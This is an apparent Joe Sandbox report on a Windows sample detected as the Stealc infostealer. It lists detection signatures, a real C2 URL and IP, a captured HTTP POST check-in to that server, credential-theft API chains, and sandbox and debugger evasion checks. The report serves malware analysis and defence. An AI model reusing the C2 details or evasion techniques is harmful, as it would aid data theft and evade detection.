Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523774
MD5:	5cace3141ff06d98c584bfb6681a8ae3
SHA1:	0993adfa0a320e79a33495bd92c2f457714cca95
SHA256:	34e912b828576002110972ce8292a94d4ecebb1582816dcb1414ea2f334827aa
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6792 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5CACE3141FF06D98C584BFB6681A8AE3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1705421415.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6792	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6792	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T02:01:04.104690+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.1c0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.phpk	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/i	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/(	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php=	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_001CC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_001C7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_001C9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_001C9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_001D8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001D38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001D4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_001CDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_001CE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_001CED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001D4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001CDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_001CBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001CF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001D3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001C16D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDBGIEBFIIDGCBFBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 42 45 41 37 34 30 37 41 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="hwid"4BBEA7407A6F1350827015------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="build"doma------DBFHDBGIEBFIIDGCBFBK--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_001C4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDBGIEBFIIDGCBFBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 42 45 41 37 34 30 37 41 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="hwid"4BBEA7407A6F1350827015------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="build"doma------DBFHDBGIEBFIIDGCBFBK--

Source: file.exe, 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747423410.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/(
Source: file.exe, 00000000.00000002.1747423410.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: file.exe, 00000000.00000002.1747423410.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.1747423410.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa-7368302a1ad4
Source: file.exe, 00000000.00000002.1747423410.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpk
Source: file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/i
Source: file.exe, 00000000.00000002.1747423410.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001	0_2_0059B001
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00596031	0_2_00596031
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050F8C0	0_2_0050F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008561C3	0_2_008561C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059298B	0_2_0059298B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00579ADD	0_2_00579ADD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00537AFC	0_2_00537AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00591AB9	0_2_00591AB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00655B6A	0_2_00655B6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FA366	0_2_004FA366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005A030D	0_2_005A030D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00618B3B	0_2_00618B3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064CC66	0_2_0064CC66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059444A	0_2_0059444A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059EC67	0_2_0059EC67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054D4F8	0_2_0054D4F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055BCF9	0_2_0055BCF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0049748B	0_2_0049748B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059CC87	0_2_0059CC87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051DD62	0_2_0051DD62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FD50B	0_2_004FD50B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00599590	0_2_00599590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005A1E41	0_2_005A1E41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EAE9D	0_2_004EAE9D

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 001C45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: epsygglv ZLIB complexity 0.9947550107099143

Source: file.exe, 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1705421415.0000000004B70000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001D9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_001D3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\JL6S8V7G.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1829888 > 1048576

Source: file.exe

Static PE information: Raw size of epsygglv is bigger than: 0x100000 < 0x198800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.1c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;epsygglv:EW;ncsgechg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;epsygglv:EW;ncsgechg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001D9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cd510 should be: 0x1bf108

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: epsygglv
Source: file.exe	Static PE information: section name: ncsgechg
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065E047 push 0DB9FF09h; mov dword ptr [esp], edi	0_2_0065E04F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065E047 push ebx; mov dword ptr [esp], edx	0_2_0065E06D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DB035 push ecx; ret	0_2_001DB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BE81B push esi; mov dword ptr [esp], 19FA6CA4h	0_2_005BE849
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BE81B push eax; mov dword ptr [esp], ecx	0_2_005BE8BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BE81B push eax; mov dword ptr [esp], edi	0_2_005BE8EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BE81B push edx; mov dword ptr [esp], ecx	0_2_005BE938
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065882E push 37069DFFh; mov dword ptr [esp], ecx	0_2_006588B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065882E push edx; mov dword ptr [esp], 3BFB14EFh	0_2_006589AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065882E push ebx; mov dword ptr [esp], ecx	0_2_00658A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065882E push 4F3373E3h; mov dword ptr [esp], ecx	0_2_00658A36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0065882E push edx; mov dword ptr [esp], esp	0_2_00658A6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 693BACF6h; mov dword ptr [esp], eax	0_2_0059B02C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 3ED43B63h; mov dword ptr [esp], edx	0_2_0059B090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push esi; mov dword ptr [esp], ecx	0_2_0059B154
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push edx; mov dword ptr [esp], ebx	0_2_0059B164
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push edi; mov dword ptr [esp], edx	0_2_0059B16D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push esi; mov dword ptr [esp], eax	0_2_0059B265
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push edx; mov dword ptr [esp], 7B7F4412h	0_2_0059B2FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 7CF7AF81h; mov dword ptr [esp], eax	0_2_0059B372
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 5EF16101h; mov dword ptr [esp], edx	0_2_0059B3F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push eax; mov dword ptr [esp], edi	0_2_0059B41C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push ebp; mov dword ptr [esp], esi	0_2_0059B450
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push eax; mov dword ptr [esp], ebx	0_2_0059B4C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 062C0500h; mov dword ptr [esp], ebp	0_2_0059B501
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push edi; mov dword ptr [esp], esi	0_2_0059B518
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push edx; mov dword ptr [esp], eax	0_2_0059B574
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 58416877h; mov dword ptr [esp], ecx	0_2_0059B59B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 48D37672h; mov dword ptr [esp], ecx	0_2_0059B5E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push 65130D40h; mov dword ptr [esp], edi	0_2_0059B64D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059B001 push ebx; mov dword ptr [esp], ecx	0_2_0059B682

Source: file.exe

Static PE information: section name: epsygglv entropy: 7.95332225365963

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_001D9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13611

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422466 second address: 42246A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42246A second address: 422470 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422470 second address: 422477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A778D second address: 5A7793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A69D5 second address: 5A69DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
